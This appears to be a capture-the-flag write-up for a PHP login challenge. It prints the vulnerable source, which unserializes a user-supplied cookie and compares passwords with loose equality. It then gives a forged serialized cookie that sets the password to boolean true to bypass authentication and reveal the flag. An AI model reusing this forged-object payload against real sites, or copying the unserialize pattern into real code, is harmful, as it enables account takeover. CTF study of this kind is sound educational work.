Usual or Unusual
Category: Web security
200 points
“A company developed an authentication system and gave it to us for testing, I told the developers the way they authenticate a user is dangerous and unusual, But they disagreed and told me if i find the secret flag, They would reconsider. Help me find it.”
Challenge Link: https://ch4.sbug.se/
Solution
The challenge is based on cookie controlled login page.
Default cookie has very interesting data.
Encoded:
O%3A4%3A%22User%22%3A5%3A%7Bs%3A8%3A%22%00User%00id%22%3Bs%3A30%3A%22220608987964432547038141164605%22%3Bs%3A14%3A%22%00User%00username%22%3Bs%3A5%3A%22guest%22%3Bs%3A14%3A%22%00User%00password%22%3Bs%3A5%3A%22guest%22%3Bs%3A16%3A%22%00User%00showSource%22%3Bb%3A0%3Bs%3A11%3A%22%00User%00color%22%3Bs%3A7%3A%22%23FFFFFF%22%3B%7D
Decoded:
O:4:"User":5:{s:8:"Userid";s:30:"220608987964432547038141164605";s:14:"Userusername";s:5:"guest";s:14:"Userpassword";s:5:"guest";s:16:"UsershowSource";b:0;s:11:"Usercolor";s:7:"#FFFFFF";}
At the moment interesting part was UsershowSource
field, which if changed to 1 gave me the source code (below). Also
worth mentioning is some additional null bytes encoded, which completely brake my url encoders/decoders and forced me
to do changes on the encoded cookie (that wasn’t a big problem, but increased the chance to make mistake).
<?php
error_reporting(0);
//ini_set("display_errors", 1);
//error_reporting(0);
$seed = file_get_contents("seed");
$flag = file_get_contents("flag");
class User {
private $id;
private $username;
private $password;
private $showSource;
private $color;
function __construct($id) {
$this->id = $id;
$this->username = "guest";
$this->password = "guest";
$this->showSource = false;
$this->color = "#FFFFFF";
}
public function getUsername() {
return $this->username;
}
public function setUsername($username) {
$this->username = $username;
}
public function getPassword() {
return $this->password;
}
public function setPassword($password) {
$this->password = $password;
}
public function getShowSource() {
return $this->showSource;
}
public function setShowSource($showSource) {
$this->showSource = $showSource;
}
public function getColor() {
return $this->color;
}
public function setColor($color) {
$this->color = $color;
}
}
$userColor = "#FFFFFF";
$result = "Login Failed";
if(isset($_POST["login"])){
if(isset($_COOKIE["cookie"])){
$user = unserialize($_COOKIE["cookie"]);
$user->setUsername($_POST["username"]);
$user->setPassword($_POST["password"]);
setcookie("cookie", serialize($user), [
"expires"=>time() + (86400 * 30),
"path"=>"/",
"httponly"=>true,
"samesite"=>"Strict"
]);
}
}
if(isset($_COOKIE["cookie"])){
$user = unserialize($_COOKIE["cookie"]);
if($user->getShowSource()){
highlight_file(__FILE__);
die();
}else{
$userColor = $user->getColor();
gmp_random_seed($seed);
$rand = gmp_random_bits(100);
$password = $flag . gmp_strval($rand);
if($user->getUsername() == "admin"){
if($user->getPassword() == $password){
$result = $flag;
}
}
}
}else{
$rand = gmp_random_bits(100);
$user = new User(gmp_strval($rand));
setcookie("cookie", serialize($user), [
"expires"=>time() + (86400 * 30),
"path"=>"/",
"httponly"=>true,
"samesite"=>"Strict"
]);
}
echo "<!DOCTYPE html>
<html lang='en'>
<head>
<title>Login Page</title>
<meta charset='UTF-8'>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<link rel='icon' type='image/png' href='images/icons/favicon.ico'/>
<link rel='stylesheet' type='text/css' href='vendor/bootstrap/css/bootstrap.min.css'>
<link rel='stylesheet' type='text/css' href='fonts/font-awesome-4.7.0/css/font-awesome.min.css'>
<link rel='stylesheet' type='text/css' href='vendor/animate/animate.css'>
<link rel='stylesheet' type='text/css' href='vendor/css-hamburgers/hamburgers.min.css'>
<link rel='stylesheet' type='text/css' href='vendor/select2/select2.min.css'>
<link rel='stylesheet' type='text/css' href='css/util.css'>
<link rel='stylesheet' type='text/css' href='css/main.css'>
</head>
<body>
<div class='bg-contact2'>
<div class='container-contact2'>
<div class='wrap-contact2' style=\"background: " . $userColor . ";\">
<form method='POST' enctype='multipart/form-data' class='contact2-form validate-form'>
<span class='contact2-form-title' style='padding-bottom: 5%;'>
Login
</span>
<div class='wrap-input2 validate-input' data-validate='Username is required'>
<input class='input2' type='text' name='username'>
<span class='focus-input2' data-placeholder='USERNAME'></span>
</div>
<div class='wrap-input2 validate-input' data-validate = 'Password is required'>
<input class='input2' type='password' name='password'>
<span class='focus-input2' data-placeholder='PASSWORD'></span>
</div>
<div class='container-contact2-form-btn'>
<div class='wrap-contact2-form-btn'>
<input type='submit' name='login' value='Login' class='contact2-form-btn'>
</div>
</div>
</form><br>"
. $result .
"</div>
</div>
</div>
<script src='vendor/jquery/jquery-3.2.1.min.js'></script>
<script src='vendor/bootstrap/js/popper.js'></script>
<script src='vendor/bootstrap/js/bootstrap.min.js'></script>
<script src='vendor/select2/select2.min.js'></script>
<script src='js/main.js'></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-23581568-13');
</script>
</body>
</html>";
?>
To get the flag I’ve forged cookie as below:
O%3A4%3A%22User%22%3A5%3A%7Bs%3A8%3A%22%00User%00id%22%3Bs%3A30%3A%22206922801991758349534736508434%22%3Bs%3A14%3A%22%00User%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00User%00password%22%3Bb%3A1%3Bs%3A16%3A%22%00User%00showSource%22%3Bb%3A0%3Bs%3A11%3A%22%00User%00color%22%3Bs%3A7%3A%22%23FFFF00%22%3B%7D
it reflects decoded data structure of:
O:4:"User":5:{s:8:"Userid";s:30:"206922801991758349534736508434";s:14:"Userusername";s:5:"admin";s:14:"Userpassword";b:1;s:16:"UsershowSource";b:0;s:11:"Usercolor";s:7:"#FFFF00";}
The most important change (aside from yellow background ;-) and admin username) is Userpassword field type changed to
binary with value of true
. The change makes if($user->getPassword() == $password){
statement true and gave me the
flag.
Flag
SBCTF{H0W_C0ULD_Y0U_R3AD_TH3_FL4G}